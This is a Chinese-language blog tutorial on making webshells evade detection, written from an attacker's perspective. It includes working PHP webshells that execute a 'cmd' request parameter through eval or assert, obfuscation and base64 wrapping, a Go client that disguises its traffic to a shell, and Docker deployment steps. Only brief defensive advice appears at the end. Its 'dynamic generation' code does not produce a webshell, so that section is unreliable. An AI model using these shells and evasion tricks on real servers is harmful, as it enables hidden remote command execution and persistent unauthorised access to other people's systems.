0x01 攻击者的幕后思维

在抵御网络攻击的过程中,防御者常常关注的是如何检测并阻止恶意Webshell的运行。只有深入理解攻击者的动机和技术,才能更有效地制定防御策略。而对于红队而言,Webshell免杀技术是攻破目标并保持持久访问的绝佳工具。本文将以实战攻击者的视角,深入探讨如何利用免杀技术在目标系统中隐藏Webshell。

攻击原理探究

Webshell是一种用于执行服务器端命令的恶意脚本,通常以PHP、ASP、JSP等形式出现。攻击者通过将Webshell上传到目标服务器,实现远程控制、信息窃取甚至横向移动等目的。然而,随着安全产品的发展,传统的Webshell检测已经非常成熟。因此,攻击者需要利用更加复杂和隐蔽的技术来规避检测。

Webshell免杀的价值

免杀技术是指通过多种手段来规避杀毒软件和IDS/IPS系统的检测,使恶意代码在不被识别的情况下成功执行。Webshell免杀技术的核心是使恶意代码看起来无害,从而逃避防御系统的监控,并为攻击者打开持续的后门访问。

0x02 流量捕获实战

在实践中,攻击者通常会选择以流量伪装和代码混淆的方式来实现Webshell的免杀。以下是攻击者可能采用的策略:

模拟正常流量

攻击者可以通过将Webshell的流量伪装成正常用户的流量来避开流量检测。这可以通过以下两种方式实现:

  1. HTTP头伪装:修改HTTP请求头,使其看起来像普通的浏览器请求。
  2. 加密通信:通过HTTPS或自定义加密协议传输数据,防止被简单的流量匹配规则识别。

<pre><code class="language-go">package main

import ( &quot;crypto/tls&quot; &quot;fmt&quot; &quot;io/ioutil&quot; &quot;net/http&quot; )

func main() { // 创建一个HTTP客户端,忽略TLS验证 tr := &amp;http.Transport{ TLSClientConfig: &amp;tls.Config{InsecureSkipVerify: true}, } client := &amp;http.Client{Transport: tr}

// 模拟正常的浏览器请求 req, err := http.NewRequest(&quot;GET&quot;, &quot;https://target.com/shell.php&quot;, nil) if err != nil { fmt.Println(&quot;创建请求失败:&quot;, err) return } req.Header.Set(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot;)

// 发送请求并读取响应 resp, err := client.Do(req) if err != nil { fmt.Println(&quot;请求失败:&quot;, err) return } defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(&quot;读取响应失败:&quot;, err) return }

fmt.Println(&quot;响应内容:&quot;, string(body)) }</code></pre>

黑客示意图

实战环境搭建

为了进行免杀技术的测试与验证,攻击者需要搭建一个模拟的web环境。选择一个没有强制HTTPS的Web服务,并在其上部署一个基础的PHP Webshell是开始攻击的第一步。可以使用Docker快速搭建这一环境:

<pre><code class="language-shell"># 启动一个PHP环境的容器 docker run -d -p 8080:80 --name webshell_test php:7.4-apache

将Webshell上传到Docker容器中

docker cp simple_shell.php webshell_test:/var/www/html/shell.php</code></pre>

0x03 Payload构造的艺术

代码混淆实现

代码混淆是免杀的关键手段之一。通过改变代码的结构和表达方式,使其难以被模式匹配检测识别。例如,将关键命令通过字符串拼接的方式动态生成:

<pre><code class="language-php">&lt;?php $cmd = $_GET[&#039;cmd&#039;]; @eval($cmd); ?&gt;</code></pre>

攻击者可以将其改造为:

<pre><code class="language-php">&lt;?php $c = $_GET[&#039;cmd&#039;]; $func = &#039;assert&#039;; $func($c); ?&gt;</code></pre>

这种方式不仅能逃避简单的字符串匹配检测,还能使代码显得更加正常。

加壳与加密

在免杀技术中,加壳与加密同样常见。对于PHP Webshell,可以使用简单的base64编码结合加密解密函数,隐藏代码的真实意图:

<pre><code class="language-php">&lt;?php $payload = base64_decode(&quot;ZWNobyAnU3RpbGwgcnVubmluZyEnOw==&quot;); // 攻击代码被编码 eval($payload); // 执行解码后的代码 ?&gt;</code></pre>

使用上述技术后,攻击者能够在不被检测到的情况下,成功上传并执行Webshell。同时,通过频繁修改编码后的内容,进一步提高检测难度。

0x04 免杀与对抗的策略

动态生成策略

为了进一步提高免杀的成功率,攻击者可以考虑使用动态生成的Webshell。这种技术通过在每次请求时生成不同的Webshell代码,增加检测难度。

<pre><code class="language-go">package main

import ( &quot;encoding/base64&quot; &quot;fmt&quot; &quot;math/rand&quot; &quot;time&quot; )

黑客示意图

func randomString(n int) string { var letters = []rune(&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;) b := make([]rune, n) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) }

func main() { rand.Seed(time.Now().UnixNano()) key := randomString(10) // 每次生成随机密钥 encoded := base64.StdEncoding.EncodeToString([]byte(key)) fmt.Println(&quot;生成的Webshell有效负载:&quot;, encoded) }</code></pre>

检测与防御建议

黑客示意图

尽管攻击者可能通过上述方法实现Webshell的免杀,但防御者仍有策略可以检测到这些异常行为。以下是几种建议:

  1. 行为分析:重视对Web服务器行为的监控,包括不正常的请求模式和异常的HTTP头。
  2. 代码审查:定期检查Web应用程序的代码,寻找可疑的eval、assert等函数的使用。
  3. 流量分析:部署能够分析HTTPS流量的IDS/IPS设备,发现异常加密流量。
  4. 日志监控:加强对Web服务器访问日志的监控,关注多次失败的访问和异常的命令执行。

0x05 个人经验分享

在实际操作中,攻防对抗是一场持续的战争。作为攻击者,需要不断更新自己的技术手段,不断尝试新的方法来突破防线。在免杀技术的研究中,我总结出以下几点经验:

  1. 技术更新:新技术层出不穷,必须保持对最新研究和技术的关注。
  2. 多层次思考:仅仅依靠一种免杀手段是不够的,应该结合多种技术,形成一个完整的免杀方案。
  3. 红蓝对抗:参加红蓝对抗训练,了解防御者的策略和思维,加强自身技术。
  4. 持续学习:阅读最新的研究论文和攻击报告,从中汲取灵感和技术细节。

这些经验不仅帮助我在攻击中取得优势,也对我的整体技术提升有着重要作用。在网络安全领域,只有不懈的学习和实践,才能始终立于不败之地。